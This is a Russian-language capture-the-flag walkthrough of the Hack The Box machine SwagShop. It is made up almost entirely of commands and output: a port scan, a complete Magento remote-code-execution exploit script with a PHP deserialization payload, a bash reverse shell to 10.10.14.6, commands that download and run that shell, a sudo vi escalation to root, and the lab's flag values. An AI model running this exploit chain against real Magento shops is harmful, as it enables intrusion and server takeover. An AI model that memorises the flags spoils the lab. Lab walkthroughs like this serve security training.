Обзор сервисов

$ nmapAutomator.sh -H 10.10.10.140 -t Full
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Публичный эксплоит

wget https://raw.githubusercontent.com/that-faceless-coder/magento-exploit/master/swagshop-exploit.py

Меняем swagshot.htb => 10.10.10.140
=> http://10.10.10.140/index.php/admin
Логинимся как faceless:faceless

Searchsploit magento => rce
Берем install date из http://10.10.10.140/app/etc/local.xml.
Заносим install date в эксплоит Wed, 08 May 2019 07:23:09 +0000.
Добавляем заказ, меняем статус на shipped.

После этого исполняем:

from hashlib import md5
import sys
import re
import base64
import mechanize


def usage():
    print("Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\"")
    sys.exit()


if len(sys.argv) != 3:
    usage()

# Command-line args
target = sys.argv[1]
arg = sys.argv[2]

# Config.
username = 'faceless'
password = 'faceless'
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000' #This needs to be the exact date from /app/etc/local.xml

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                     len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
#br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)

request = br.open(target)

br.select_form(nr=0)
#br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password

br.method = "POST"
request = br.submit()
content = request.read()

url = re.search(b"ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1).decode("utf-8")
key = re.search(b"var FORM_KEY = '(.*)'", content)
key = key.group(1).decode("utf-8")

request = br.open(str(url) + 'block/tab_orders/period/2y/?isAjax=true', data='isAjax=false&form_key=' + str(key))
tunnel = re.search(b"src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)

payload = base64.b64encode(payload.encode())
gh = md5(payload + install_date.encode()).hexdigest()

exploit = tunnel + b'?ga=' + payload + b'&h=' + gh.encode()

try:
    request = br.open(exploit.decode("utf-8"))
except (mechanize.HTTPError, mechanize.URLError) as e:
    print(e.read())

shell.sh:

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.6/1234 0>&1

Trigger:

python 37811.py http://10.10.10.140/index.php/admin/ "wget http://10.10.14.6/shell.sh"
nc -lnvp 1234
python 37811.py http://10.10.10.140/index.php/admin/ "/bin/bash shell.sh"

Флаг пользователя

www-data@swagshop:/var/www/html/app$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:1e:1c brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.140/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:1e1c/64 scope global mngtmpaddr dynamic
       valid_lft 86187sec preferred_lft 14187sec
    inet6 fe80::250:56ff:feb9:1e1c/64 scope link
       valid_lft forever preferred_lft forever
www-data@swagshop:/var/www/html/app$ cat /home/haris/user.txt
a448877277e82f05e5ddf9f90aefbac8

Повышение привилегий

$ sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*

=> можно выполнять команду /usr/bin/vi /var/www/html/* без пароля как sudo =>

$ sudo /usr/bin/vi /var/www/html/test
> :!/bin/bash

Флаг суперпользователя

$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:1e:1c brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.140/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:1e1c/64 scope global mngtmpaddr dynamic
       valid_lft 86022sec preferred_lft 14022sec
    inet6 fe80::250:56ff:feb9:1e1c/64 scope link
       valid_lft forever preferred_lft forever
$ cat root.txt
c2b087d66e14a652a3b86a130ac56721